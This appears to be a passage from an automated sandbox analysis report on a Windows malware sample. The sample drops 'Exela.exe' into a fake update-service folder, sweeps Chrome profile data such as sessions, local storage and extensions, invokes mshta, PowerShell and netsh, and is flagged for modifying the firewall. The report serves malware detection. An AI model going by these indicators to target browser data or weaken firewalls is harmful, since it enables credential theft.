Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI67602 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\el VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_CA VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_GB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_US VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\es VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fil VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\id VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285f VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\4d5b179f-bba0-432a-b376-b1fb347ae64f VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\57328c1e-640f-4b62-a5a0-06d479b676c2 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp VolumeInformation
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp VolumeInformation
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp VolumeInformation
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80682\attrs-23.2.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80682\attrs-23.2.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80682\attrs-23.2.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80682\attrs-23.2.0.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography-42.0.5.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography-42.0.5.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography-42.0.5.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography-42.0.5.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography-42.0.5.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography-42.0.5.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography-42.0.5.dist-info VolumeInformation
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography-42.0.5.dist-info VolumeInformation

Source: C:\Windows\System32\net1.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation Bias

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Code function: 0_2_00007FF72AA7C590 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF72AA7C590

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Code function: 0_2_00007FF72AA96950 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF72AA96950

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the windows firewall

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

